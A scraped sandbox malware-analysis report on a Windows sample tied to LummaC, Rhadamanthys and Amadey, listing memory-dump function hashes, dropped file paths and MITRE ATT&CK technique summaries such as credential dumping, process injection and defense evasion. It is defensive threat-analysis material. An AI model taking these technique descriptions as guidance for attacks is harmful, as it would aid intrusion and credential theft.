Opcode ID: 2f9c937b705b733c9644217cffe37b903ab6a11d94893328ab2d7921f8117b8c
Instruction ID: 89f7625bcd3042e5662e2b0f59687678129b36ffb3fe7dec0c562e4284fda470
Opcode Fuzzy Hash: 2f9c937b705b733c9644217cffe37b903ab6a11d94893328ab2d7921f8117b8c
Instruction Fuzzy Hash: 05C04C753042085F9344DA9DD851C26F7E9DBD8614714C06DA90DC7351EA72FD13C694

Function 05AC2D01 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd7c3fdf5545363c92f70b3e886b18b96d9a5ec2808a039918dc4f658b2c4a1
Instruction ID: b7fa48ba81d7d15cfa234c29d58a0edf6664b318c666e8632426acb45059a04c
Opcode Fuzzy Hash: 4fd7c3fdf5545363c92f70b3e886b18b96d9a5ec2808a039918dc4f658b2c4a1
Instruction Fuzzy Hash: 8FC0923279C9295FE6128608CE1FF8DB966FBD0308F5ACA25E280CB595CB30DC11D982

Function 05AE1E1A Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea1e847547a588df2ef06585384f1342ee30bab4e7b00789522266468342df2
Instruction ID: b789750ff9a5a1a0847f4045f96523efcc65bfc9c6ada53dc4b4a8a199bc74f8
Opcode Fuzzy Hash: 8ea1e847547a588df2ef06585384f1342ee30bab4e7b00789522266468342df2
Instruction Fuzzy Hash: A7C09B312441155B8145D598DDD1D15B3D9DA85918354C05DA90CCB346DF33FC0385C4

Function 05AEA88E Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dd87325fb7d57ce049e943a70de251b50912fadf46b46bba2b74653a700a0b5
Instruction ID: f9abea231fb7112a9096adf2c998b002d5acb6ea511ba40518fb5042d85e0464
Opcode Fuzzy Hash: 1dd87325fb7d57ce049e943a70de251b50912fadf46b46bba2b74653a700a0b5
Instruction Fuzzy Hash: 4AD0C9318145558BDB558655EC5CBA977B2E740301F04C274810A1B2A5CA750C89CF40

Function 05ACA680 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e87e7796635455e6a0d1810aecf25d39762cf3cf7d9158403813c0da08e9c94
Instruction ID: 1f23786a6384cdefc49265ccd8c81d7a839ededba03af9b87daf083e85c25663
Opcode Fuzzy Hash: 0e87e7796635455e6a0d1810aecf25d39762cf3cf7d9158403813c0da08e9c94
Instruction Fuzzy Hash: 0CB012EE35771107DE01720C8D233CC01568FC0148FCF04448484EF592D208C0037471

Function 05ACC298 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 05AE47B0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b07eb51126463de2bf8462432d69fd4c92e1a2acd6486d465ab4ae050f38ce89
Instruction ID: 6946c9798f7289baa91495e0fb5539b78174b0423724991b48b9fdfa7c9b4558
Opcode Fuzzy Hash: b07eb51126463de2bf8462432d69fd4c92e1a2acd6486d465ab4ae050f38ce89
Instruction Fuzzy Hash: 02B012302081084F8244D6D8E841C14F39DDBC4618354C0ADE80CCB302CF33FC0385C4

Function 05AE1E20 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b07eb51126463de2bf8462432d69fd4c92e1a2acd6486d465ab4ae050f38ce89
Instruction ID: 6946c9798f7289baa91495e0fb5539b78174b0423724991b48b9fdfa7c9b4558
Opcode Fuzzy Hash: b07eb51126463de2bf8462432d69fd4c92e1a2acd6486d465ab4ae050f38ce89
Instruction Fuzzy Hash: 02B012302081084F8244D6D8E841C14F39DDBC4618354C0ADE80CCB302CF33FC0385C4

Function 05AE7FE0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1589308a74f8af7f7bdb0c60d33cff9135f67ec66d9f85fd8a52d118178258ca
Instruction ID: af14b32d06bfd8e92815529896dff630b38b90272e27f9beac44e936733b2af8
Opcode Fuzzy Hash: 1589308a74f8af7f7bdb0c60d33cff9135f67ec66d9f85fd8a52d118178258ca
Instruction Fuzzy Hash: 8FB092301602088F82409A59D444C0073ACAF08A1434100D0E1088B632C621F8008A40

Function 05AE5E73 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c81d10ad0b6084f3e46b5904ae0df8c53d0f7b6d2d6d495a1ff69191d6cb5ee
Instruction ID: e5e1344b25d1d3c966c0ed989f58d8a364b3e1fc9fda488c6e0cc990366c795a
Opcode Fuzzy Hash: 8c81d10ad0b6084f3e46b5904ae0df8c53d0f7b6d2d6d495a1ff69191d6cb5ee
Instruction Fuzzy Hash: 35C04C34E0606DCBFB54DB24DD50F9C7671EB58204F0052E5C10DB7280C5309DC58F14

Function 05AEA0AF Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81931f40babb7a716a44d03de516247f172aa4fa56d38bfe2c6dfe36cf1877a4
Instruction ID: e3035e1df7ffdbc822d593d919369507016f68dfc9301ef73b291b06a96b9eaf
Opcode Fuzzy Hash: 81931f40babb7a716a44d03de516247f172aa4fa56d38bfe2c6dfe36cf1877a4
Instruction Fuzzy Hash: 27B0123BB400199ACB00D6C8F4504ECFB30EBD4332F004033C300620008B31157AC760

Function 05AEE200 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a047e0e5bc649644e04f1ea5f84dbdda48474f2704437984f1cd13eec6a1ae65
Instruction ID: b577a76bbd9a655b34102974dc1d9d6ec538b242a7f71c7d2c9be5ef28052b16
Opcode Fuzzy Hash: a047e0e5bc649644e04f1ea5f84dbdda48474f2704437984f1cd13eec6a1ae65
Instruction Fuzzy Hash: 45A02230002B0C8383003AB02000022338C08838083C000B8820C0CA200B3BE0A0C288

Function 05AEE240 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7b8e1e706066a6b5fb8e7feadbc2d078657e833de476c612ee70b2366815a6
Instruction ID: 6f0f77c6823d96de9db01ac7454e184511dc30f61bb5a569d4d1abe3ab5f63dd
Opcode Fuzzy Hash: 2e7b8e1e706066a6b5fb8e7feadbc2d078657e833de476c612ee70b2366815a6
Instruction Fuzzy Hash: 3790023505960CCF49403795740A965BB6C95445557804151B50D915125F656C204EA5

Non-executed Functions

Function 05AE2880 Relevance: 6.3, Strings: 5, Instructions: 59COMMON

Download Yara Rule

Strings

(o^q, xrefs: 05AE29FA
\s^q, xrefs: 05AE29EA
(o^q, xrefs: 05AE2B63
(o^q, xrefs: 05AE2A06
\s^q, xrefs: 05AE2E35

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$\s^q$\s^q
API String ID: 0-1845072702
Opcode ID: 8c2001c7125b450749901e7ca22b12dea24500b39da54e3b17bd3f3f33253ad1
Instruction ID: 0d93e261eb97a3924779f676060e2cff8978b669c43c452398eb2591bbe9a595
Opcode Fuzzy Hash: 8c2001c7125b450749901e7ca22b12dea24500b39da54e3b17bd3f3f33253ad1
Instruction Fuzzy Hash: 4011A334B401158BDB249FAAC599F297AEB7FC8710F680839C4298B354D961CC498752

Function 05AE2A30 Relevance: 6.3, Strings: 5, Instructions: 56COMMON

Download Yara Rule

Strings

(o^q, xrefs: 05AE29FA
\s^q, xrefs: 05AE29EA
\s^q, xrefs: 05AE2A30
(o^q, xrefs: 05AE2A55
(o^q, xrefs: 05AE2A45

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$\s^q$\s^q
API String ID: 0-1845072702
Opcode ID: 027d424a59957c8780974ce5cf49be8de3e03556f701366cb11ee3b32d8b4bd5
Instruction ID: eed0cb3db1d1d28427ef2b41eca22e2cbbf4befc2d0413806fe0b121a0e967bf
Opcode Fuzzy Hash: 027d424a59957c8780974ce5cf49be8de3e03556f701366cb11ee3b32d8b4bd5
Instruction Fuzzy Hash: FA114C38A40106CFCB24DB65D159F3DBBBBBF88711F690465D4169B2A4DB30DD05CB52

Function 05ACCCB0 Relevance: 5.2, Strings: 4, Instructions: 185COMMON

Download Yara Rule

Strings

(_^q, xrefs: 05ACD36B
(_^q, xrefs: 05ACD375
(_^q, xrefs: 05ACD3F1
(_^q, xrefs: 05ACD3BB

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: 7db80d7176022aae96c29e1e3794a95fca8e27c52108a6389d64eea78a078d79
Instruction ID: 3830003569be21cec61156bb5ec34d62f3995fc47a1552dc925da2d2e46fe94e
Opcode Fuzzy Hash: 7db80d7176022aae96c29e1e3794a95fca8e27c52108a6389d64eea78a078d79
Instruction Fuzzy Hash: D5617C79B04204CFCB04EF68D59596EBBB2FF89314B1045ADE516AB3A1DB31EC42CB90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Rhadamanthys

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e56fffc2ce.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kz8ZdyP.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\zudFSfy.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zudFSfy[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre